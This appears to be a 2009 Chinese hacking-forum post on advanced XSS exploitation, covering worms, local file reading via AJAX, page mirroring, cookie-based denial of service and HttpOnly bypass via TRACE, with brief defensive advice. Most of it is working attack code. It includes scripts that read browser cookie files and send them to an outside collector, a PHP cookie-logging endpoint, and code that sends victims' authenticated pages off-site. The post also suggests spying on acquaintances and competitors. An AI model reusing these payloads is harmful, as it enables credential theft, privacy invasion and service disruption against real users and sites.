XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

0 F" A% S/ B1 c/ F8 O3 fXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
# G* ^! [/ d5 _0 J5 r1 tBy racle@tian6.com   
9 R2 N% W1 X3 U4 Ohttp://bbs.tian6.com/thread-12711-1-1.html
. h1 g1 K, H& Y转帖请保留版权
" O5 F% P5 m# y% r9 E: w' y3 i9 Q2 N- C
8 b( ?2 l1 k1 {' n

-------------------------------------------前言---------------------------------------------------------
. c' _3 K) k0 o8 K6 k6 M
0 R8 |$ B5 \, o, ?& n" b/ T
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

; `, x: i5 t  f, ?
如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
% u2 m# V9 t% \http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
( s1 a9 L) d$ a4 Thttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
% K/ h7 _1 e( D0 whttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
# U' h# Z4 Z! n# d; \1 Ghttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
& E3 B/ [# ?. X0 Shttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
/ R: o5 o4 \2 ~& K2 e

3 ~7 f/ d5 X3 Q
3 x% `. @7 V+ c  G7 e
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
& l0 h. K' O" z) Y, G/ i
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
3 j% H- S2 g% r
+ h/ h4 D: _$ ]* I7 Q如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
4 [5 f% s$ y- W7 L+ {; ?
QQ ZONE,校内网XSS     感染过万QQ ZONE.
. n! ~0 O: O5 E5 m; L
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
+ k/ Y3 p0 F  j$ E7 ~$ D; R
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

9 Q: B7 e5 B. G+ x. _! N9 n* @; `+ ~

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
+ n% _3 g& k0 V0 A, t
" R" t" }6 r; o; z# _
+ }' U- T6 P, W  J- o4 s5 C1 K; ?
, U- c' ?; D( h3 W* X如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
' s$ p( A' O" `- k0 o, _) X' H" g复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

2 b- o$ z' Y5 g. Q8 Z* \, ?8 U1        通过XSS,我们能实现什么?
- m& ?; M- E9 Y+ F" j
5 i0 l0 e- e4 v2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

) V( o% q0 H! ^8 N5 p/ A; U6 p3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
4 ]/ u/ O( a% g$ \; a1 o0 L( `0 t
. X6 [: t. w8 b$ I$ _  t4        XSS漏洞在输出和输入两个方面怎么才能避免.
6 u7 a; K2 H4 `/ P* K' ?& X

) X, K- O1 ^/ a4 W
' U- @! j' k4 a- E& s" ^------------------------------------------研究正题----------------------------------------------------------
! E; v% i- `! t. d( [
0 Z. P3 r1 O; r: M

通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
+ t. N& j( u0 G$ z- [复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.
& Y( A" i# B9 B# W- d
& a/ ^5 G4 S0 z( P


1 V4 ]7 G' \3 u$ p
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
3 \- @" r3 Q, m- ~
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
- Y8 l. d2 ?0 m. M3 p# K
/ y( @3 t4 e2 A1 i$ C* Z" Y% D! _" [
4 T$ m. @- H, g
    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。


: `8 Y1 `& k  v) v
: H) m0 E( c& Y$ n8 d# g    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
+ n# _+ h" v3 s9 m8 m( g
2 Q% v) h4 H: Z2 l5 D% O3 K
6 O, d+ @& a' [1 a) a' \
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

& Q' X) t) k4 N/ E6 P; I( ~    function $(x){return document.getElementById(x)}
$ \0 M# K5 _. f( I1 K9 O
2 T; h3 |% t) V. Y/ q, [" O

    function ajax_obj(){

! Q( h/ `- S1 Q    var request = false;

    if(window.XMLHttpRequest) {
0 F+ k2 ^) I9 h0 ?
    request = new XMLHttpRequest();
* N2 E8 K7 m. d3 Z2 x' A
2 V& S9 X3 G* p    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',



4 g+ Y+ H: K0 ?6 l3 Z    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* o( Y. }( J! A  D8 E
  D; U: e: z1 A6 \7 u0 D    for(var i=0; i<versions.length; i++) {
% R, e+ x5 ~! A/ {0 s; e
& Y/ y1 f0 D* U3 c    try {
/ J, M8 h; D. h2 Q2 e" ~- I
4 }4 S% Q6 E) G, d, S. x    request = new ActiveXObject(versions);

    } catch(e) {}

4 v  K9 x5 _* o% t* O1 y- P    }

5 ?( r- E( h7 k; x1 Q0 k    }
6 |4 v( q' [3 b: k& S8 {
( c* o9 y. R. P4 ?  q    return request;

    }

( H+ J  G4 u9 U6 O; E    var _x = ajax_obj();
& Y0 ^6 X, L! l0 \* [0 O  y0 \
: c: s( r8 `# d9 I; o    function _7or3(_m,action,argv){
; s3 R6 S  A/ c0 F: E+ H
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

; m) F( `; P( D6 `  p    }


  h8 b$ q  t# N6 F- \' e
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
! N& y$ m& a9 r0 j$ u! ~
* Q; I$ L. b% |    alert(txt);


" K2 y; T- b/ `6 G9 O
+ H! q& a8 z: L    </script>
) F$ |" j" U9 m& ?复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

    function $(x){return document.getElementById(x)}



( S) w; I3 w5 @6 ^2 Q- D7 P    function ajax_obj(){

' m( B3 t1 C" J& q9 j4 n    var request = false;

    if(window.XMLHttpRequest) {
% ^7 n! O0 v1 J* w  e) `
    request = new XMLHttpRequest();

3 ^+ e" b5 R, T' o# l* {    } else if(window.ActiveXObject) {
/ o* d- q5 x9 E
5 p% p7 x+ g8 S4 B7 ?( o) _! r, B  f    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
6 r3 @6 X% U3 V$ k1 w% P( p7 F7 p


    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
4 H, T; F/ d0 x7 V* r5 O; o
    for(var i=0; i<versions.length; i++) {
: D6 d% b4 Q- Y6 t& R. w/ U
, i1 {% f2 l! n" O6 R    try {

    request = new ActiveXObject(versions);
$ `, C6 n/ y9 z4 X
0 z' _( ]3 f) Q; k( g+ m  L    } catch(e) {}
9 B% S+ R/ _/ k2 f% t  f4 c
    }

    }

1 [4 G4 U3 B4 u! ^. ~9 Y, z    return request;
* T3 F3 N4 l: d, N+ ~7 g% w4 B) B9 S
5 w; F' z% a& ~# w1 R0 e" t    }
" h7 |7 K8 j' Y% n
    var _x = ajax_obj();
0 T4 X1 o/ O' o; q4 |5 X
    function _7or3(_m,action,argv){
. S4 j: R7 ?" y4 C* H% f
    _x.open(_m,action,false);

8 Y' c8 C3 K) A/ F. ^    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
/ l( Q/ L9 h2 V
; I2 A/ y4 {, w3 X  d% y    _x.send(argv);
# n( w* g3 d/ K/ a8 T. D' B
    return _x.responseText;
5 Q% i. p3 v6 ]  z
    }



    var txt=_7or3("GET","1/11.txt",null);

4 T% i( |. m# k, V0 E# Y- ]# V    alert(txt);

) p, b* P' O/ \$ @6 Z% p5 `
' u4 O/ y# U& c- |' o
    </script>
  R7 Q7 [. [6 I$ S3 G复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”


' j8 A( S& J( h/ m2 c
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

3 D! e& W; Q* M
) X' T4 V/ P8 A' A; k3 @+ j
" i/ ~0 i1 {- l# P* N<?   
! K0 F; O- r" c1 ]1 I) D. ~1 |# z7 B
7 S) M6 c3 L5 b; _7 I/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
5 u3 m) M' ^, v/ C2 {; ]' I
     www.inbreak.net   

3 L8 }& k! w4 d. B) U" M     author voidloafer@gmail.com 2009-4-22   
0 c! T% K+ ?. W$ I+ j# ^
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

7 s& ^3 u) @2 j: a4 q& ~# {*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
. J0 T$ t  v/ T/ s+ l
header("Content-type: application/kxlzx");   

4 j% p  a$ i1 L& v: X! r# s) ]/*  
2 ^  g+ I2 r- o+ {9 N, D* }
     set header, so just download html file,and open it at local.  

*/  
. y! L, h8 f% z7 x! L# Q" i  _
: o7 ~2 |. r1 l3 y8 M% F/ I?>   

* B6 e( {3 ]' p( q! t<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   

</form>   
4 X( |' e2 E8 P- i1 [$ m, h& P
- n+ ~6 c2 H4 v/ P4 J; B; Y<script>   
; N# M, Y/ B7 i. A: r# o
function doMyAjax(user)   

{   
' l0 m  A9 {0 K+ D: v
var time = Math.random();   

/*  

& a1 L5 [" J0 w4 q; y$ m- n; @the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
+ B1 P0 [1 a( z& _* t6 P% M- f: s
* M8 |; z' u' Y+ E7 jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

' Q2 A1 }2 ^+ I. G) Oand so on...  

*/  
  y  e' H: y7 I+ B
# r# `" o) U2 jvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
3 P/ y3 z+ C8 I3 h" T
7 n8 v& D& x' \" W7 }   

8 D6 T. p+ T- S& x: tstartRequest(strPer);   

- A! `! n, G1 F+ R& Y0 I# @) d

" v! l1 q  U( S; a: \. H6 T}   
* O% L7 U, r- s8 {
   
9 ~5 e$ A1 `, k3 J3 N$ N4 v
function Enshellcode(txt)   
  J% k  I& e, F, Q; ^3 p. r
{   

0 d" }, O+ g! q1 Q5 \) N# pvar url=new String(txt);   
2 L6 g4 r, [9 _
var i=0,l=0,k=0,curl="";   
" n% J6 j3 M2 e5 X4 M, }
8 o% c* r- O( C. V9 Hl= url.length;   

8 ~; F$ x+ f8 r7 b# Mfor(;i<l;i++){   
0 I9 n# E! G2 I& c$ I
k=url.charCodeAt(i);   
% n, q6 u) |" j0 k9 E. I6 q
( }) R7 z: {. V+ {4 A# ?. Rif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
' e4 e; m* c" T1 Y& f* q
- y1 J3 F4 l0 e+ w5 `) e% n/ {, Dif (l%2){curl+="00";}else{curl+="0000";}   
# B; N+ b/ _0 B8 v8 x
4 b+ Q5 {* p& C% qcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

4 S: s. e- H% O; p}   

   
/ @' E# v+ ]1 a( r5 \
   

7 A/ z' p1 [7 C' Yvar xmlHttp;   
4 M, G! u' x: R9 \
. B' i* e) j5 I0 z& dfunction createXMLHttp(){   
- h( n) _0 ]( _1 v% l: J
     if(window.XMLHttpRequest){   
, t6 s5 i5 r! g8 a( u; K2 M
* }1 I! f" i0 ?  I7 l, ?0 x( gxmlHttp = new XMLHttpRequest();           
4 s1 a: A( G# Y
     }   

     else if(window.ActiveXObject){   
% E& d  m4 k# H4 V
  Y1 b* f- P8 P, fxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
) J8 R! B9 b/ f) Y# i
4 c) W0 b% Z( F+ M% G2 J' Z+ ~  k     }   
% U& n2 D8 I2 {7 _0 Q. H
}   
( {, M) u- K  s9 [3 S
1 Q. N( v; Z, C$ N: f   
8 f3 j( G; }5 L* b
function startRequest(doUrl){   
/ e% Z0 ?9 t3 M4 M
) G8 _+ O6 p' ]5 G4 R* A1 X   

     createXMLHttp();   

7 B5 X% [/ t, d0 f, g& b2 a

1 `2 c: |3 m8 [; I7 e$ b* B     xmlHttp.onreadystatechange = handleStateChange;   

; h( Q' R! h9 X. A" |, \+ s
  B& s5 z# u3 o( Z* ?
     xmlHttp.open("GET", doUrl, true);   
/ e5 S$ W& N: ^5 h- h1 a* B


     xmlHttp.send(null);   



& J, K, O, W4 o  t# O
0 r# Z" j2 {& `9 ^; Z& U
}   

9 K: Y6 m# ^' h' V8 c& F/ D   
1 ]( F* r7 a0 O- c
6 I$ G" Y" Z4 Q9 D$ s7 O0 O& ufunction handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

% m* A8 |3 O. s6 ^1 F     var strResponse = "";   
( i0 k, r6 F0 N9 a' Y0 r, F
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

        
6 O+ G7 `7 t4 ~' D
7 j4 D/ t( P* c! T$ T* H+ T/ ~* k+ z     }   
/ d1 }! l; K. i4 E( w4 e/ X1 K
}   
& z: q9 ?. z9 Q: v8 x) C
& E0 A6 t# t) z+ i   
5 X/ g1 g; z' G8 O1 m$ R
   

function framekxlzxPost(text)   

{   
7 n7 F' q1 p4 x0 I/ C
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
# Z+ l* x- j& e6 F* g
7 }5 ?- P. ~  J# [}   

0 Y+ T. _' l- q. [   

8 h: N4 S, p/ x9 {doMyAjax("administrator");   
  H/ Y* R) Q% ?
   
3 g& [' E0 M/ t; _# _) W8 E. U# Z+ B1 a
5 G. a! ?# r. B& D) x</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
0 S4 `1 a7 b+ n3 a  Q/ ?# u
2 \' B# b1 ^9 W1 ivar xmlHttp;  
4 n+ ~: I, \: L
1 I5 }7 Y2 u. Q2 J( w$ Z- yfunction createXMLHttp(){  
7 u% x1 }5 U% H3 G
     if(window.XMLHttpRequest){  

" v. |0 B' c" x( @  s" j         xmlHttp = new XMLHttpRequest();         

. x0 o+ t5 K/ f  ]     }  

' C$ P' m1 s- x( V" ^/ C1 c; e$ t& z% S) S     else if(window.ActiveXObject){  

% n0 u' q( A4 o+ y" `         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

! q5 o% P; g% o) j     }  
( ~! P) M6 ^$ S
4 j: l" [% b) r* J}  
, N! Z! J2 o. _* v2 P4 H
' F" e  C  [3 ^. H7 H$ Y! x   

function startRequest(doUrl){  

           

, D" y5 g7 [8 D! \     createXMLHttp();  
% v3 ?3 r; Y9 z- c1 s# g. Y- G
      

9 f- i0 T9 n/ z* U     xmlHttp.onreadystatechange = handleStateChange;  

      
$ s2 b5 M! e, E3 V, O' e5 o
1 w2 e; U' i+ m( B) j     xmlHttp.open("GET", doUrl, true);  

      
; \6 y3 F* t: R5 i! E" s, F
     xmlHttp.send(null);  
) ~: d' f- Z2 R4 h/ \- j
      

      
7 [/ h0 j: n4 L7 d4 H+ r2 y
( O# o0 c6 T! x}   
6 {- o- c1 U! R6 m+ x  T1 q- W
: G- r" B0 Z8 Z7 b* x* T* o   
# e8 T) {: w6 F% v. E+ g
7 ]8 z, m5 f- s1 {function handleStateChange(){  

) e1 n* \2 O4 _& G  b+ n& |     if (xmlHttp.readyState == 4 ){  
. Z* G5 T; N4 R8 I- |6 |8 t
+ c$ |5 x4 `2 G' Y; u9 s             var strResponse = "";  

4 t1 o# y! ?8 {( V2 d# p             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
8 w6 p7 _: A6 A  \& ]/ [2 T
2 J, f9 a' R5 G) M: A8 k, s               

     }  
3 g* g, w/ _+ G/ |( ^2 ~
}  

0 R$ D1 u; _7 @' R: b. Y   

function doMyAjax(user,file)  
1 m9 k& m1 a1 Z' k/ K! N  W; M" M
{  

8 x( l' F! x  U9 o, @         var time = Math.random();  

           

2 e! l  Z/ v3 a' x% G, K; W6 x         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

! [7 r. ^, D& O: r2 F$ l           
6 V1 n7 i9 P3 `" l2 M5 ]( _
9 l, U8 U( s* }8 {9 }         startRequest(strPer);  

( n" y9 z, c5 s0 d# }      

}  
- ^1 W* [! s. `$ A, V
   
1 c4 E# Y) |: r5 f$ x
function framekxlzxPost(text)  
! k8 i  r6 x! _! S, l1 {/ W* b
& T5 P. g' H% }- G- Y6 [{  
0 e2 p! W# N3 {8 K
" j( {$ {5 _! i  c     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
0 b0 H. v! M; d5 N: Q9 @
7 W! V  g1 Q1 F* H5 ]% ]) Y1 a5 V     alert(/ok/);  
4 X, |% @0 m$ T
}  

4 B! k. F" O0 f+ d  |; A0 J- l   

. f+ g! ~: |: \' b3 d5 xdoMyAjax('administrator','administrator@alibaba[1].txt');  
( V' Z- h/ M: x# R# _7 t; w
   

) s- q. E; m+ Y% R" }, H0 y% `</script>


$ E  r8 Z& h' t. [- ?# B! k


) u* k' M2 u. t* da.php
5 W. o$ m6 f+ I4 G" K( `

( T: p. k3 `/ s
$ N, R. _7 ~6 @3 R1 Y' u<?php      

% T2 p" I$ f; P! ^   

/ w7 p. j) N- g' n2 T0 i3 c$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
( c' u4 Y$ X* ?" E* K
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
; B( D( c& G+ I* P$ M+ b7 Y4 U) U4 M
& D4 a* A7 E% G- Q% C5 X( L8 mfclose($fp);   
8 o  S) ^% Q# o# U
' ?$ g: M/ e; O# o$ N2 c?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
6 Q4 [* Z4 y8 }7 {' c利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
2 c0 \& u6 V  H+ B  U% y
+ m7 Z0 W6 @6 a9 \代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
) w/ I- E# Q" y
9 }6 Q2 Q- ^0 b% _% c0 X9 n//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
2 E$ v! n# C+ J
$ h5 t+ |+ \& f) O6 u4 }function getURL(s) {

4 D3 S/ ?# M" a9 x) _var image = new Image();

! o) R9 u6 d& A  _image.style.width = 0;

image.style.height = 0;

. G: T8 t4 Z) rimage.src = s;
1 f/ l9 u6 f9 r
}

& L. f  L$ ^4 k- f* z* ~getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A

" G, I: |' @1 [) ~2 `) cvar str = "";

while (str.length < 4000){
7 o8 p$ Y' s' O
    str += metastr;

3 `8 D8 A, W. M}



! P6 u/ G; Z' U! V) B+ Gdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
3 d: Z1 o1 w% c; b# o
- T; |" v. v  s/ z2 I4 |</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
( `& Z1 S; N- yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

0 l$ T, ^- ~# v+ W假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
% T0 m; i9 L. e" v8 j- `
# x* f" E) k0 W  F9 e


6 z3 T' a% B7 F% z' g3 L  h
  j5 z' y. R' X  K0 N
" i4 z* D; V6 w9 J- S(III) Http only bypass 与 补救对策:

" B( l# K7 i- \什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
8 p" W7 \, u8 ~. z7 N) ?" O
( E: A- N) P# ~2 m* o+ e" Q+ N# a7 D<!--
" I5 g  g' X; M0 @
function normalCookie() {
: h+ e* N, w+ Y8 W6 d5 ~' t
  [" ?4 c& }4 a$ T  J7 S7 `/ `* Z3 Qdocument.cookie = "TheCookieName=CookieValue_httpOnly";

* ]+ o5 e3 {4 i2 b) [' w1 halert(document.cookie);

}




4 g" C' ~' {% ~6 E8 l
' T; R9 |4 Y4 @0 x% d3 v8 U- A2 `% p! u7 kfunction httpOnlyCookie() {

" u$ }. {2 D4 ^document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

% }$ I5 w  ^, V2 `% Dalert(document.cookie);}



//-->

# R) }6 n6 ?9 b+ Q) t' }! v</script>

7 T+ F, r* K# I9 U7 F+ O7 A- t
; h9 N7 F* z+ P/ ~# G3 n
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

) H, h0 f+ n( k7 @- {( A<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
; e3 w8 V/ L2 y* x$ R9 z" Y, y复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
! o- O/ p& [3 @  ]( u; T
. M3 `3 l6 A3 n1 X

9 y6 |/ _/ L2 Z  u3 _var request = false;

7 |3 k3 J5 q2 ~" N3 E        if(window.XMLHttpRequest) {

  ~  M+ g- K) e            request = new XMLHttpRequest();
/ j' J+ h. g3 `9 K1 l
$ Z5 `% i! Z$ i! d) i1 F6 s- m            if(request.overrideMimeType) {
- r0 q3 T' @7 }& P) j; W& I4 [
                request.overrideMimeType('text/xml');

. K% E, v/ ]' a5 ?6 V            }

) h) |; D0 L& n        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {

: X2 ]9 Q0 v1 [* o5 o                    request = new ActiveXObject(versions);
4 g' P2 ^+ g* x0 A& P- n7 G
+ a. J5 J, `9 R9 l% a' y& A( z) b3 _                } catch(e) {}
# G- j9 c  U/ r6 T! P- H
8 I/ h7 |) a  G- i* ?% t7 R            }

        }
2 j  x. e4 q/ J- n+ e  \9 [, v
& i: u, p3 k* V! {% uxmlHttp=request;
% `, H6 _& T" ~4 ]
3 P# H/ }& l  yxmlHttp.open("TRACE","http://www.vul.com",false);
: |7 M6 M0 K* y* N( M
xmlHttp.send(null);

xmlDoc=xmlHttp.responseText;
+ h# E2 e' }/ T5 |2 E7 M9 u0 T, U
alert(xmlDoc);

1 |6 K, [9 Q& |1 F/ K' o1 t</script>
* s/ i& I9 j8 P# o5 Y复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
. p( L2 Z; i  Z2 C! G' K) G' n
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
; b4 W  C6 Q( ?7 c* Z, e. B
+ P% C& @+ H; r# ~3 IXmlHttp.open("GET","http://www.google.com",false);
0 F! Q4 h$ b& `! m
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
# @' L5 A$ X" O: L
! z* r3 f' q" D: C* H: zvar resource=xmlHttp.responseText
# d6 T" {5 o. E9 w7 C# v3 z
( j1 K1 L7 a6 ~3 `6 N; L5 e" K$ bresource.search(/cookies/);
# X' S! B( X) x/ u3 ]
......................
( _# P9 A7 U  ]* x
</script>


! P. a% E: E4 t- n# u% F
. ?8 Z5 s/ J6 o; u
* ?" |3 m8 ^6 d
. @; P1 c* w% _3 O# I( ^8 I如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

7 N# s+ A. g1 H1 |9 K[code]
" E# X! [& k$ R( U7 a* S
8 G1 a, F0 C  w; y' zRewriteEngine On
! ]" v2 q, b, v  O& ?/ o3 I' [4 y- z5 Y
RewriteCond %{REQUEST_METHOD} ^TRACE
% c& C% m0 T/ p, d
6 }: k8 _9 j. l8 g/ U2 J- nRewriteRule .* - [F]



# M4 b7 ^2 k/ s2 E5 E  M" o% ^Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
9 k" U0 W( D5 D* e. |8 `
acl TRACE method TRACE
1 Q. n8 B1 {$ Z- _! A" x* z  b
...

8 [$ N6 G1 H: F$ J. o2 @; ^+ Y; |http_access deny TRACE
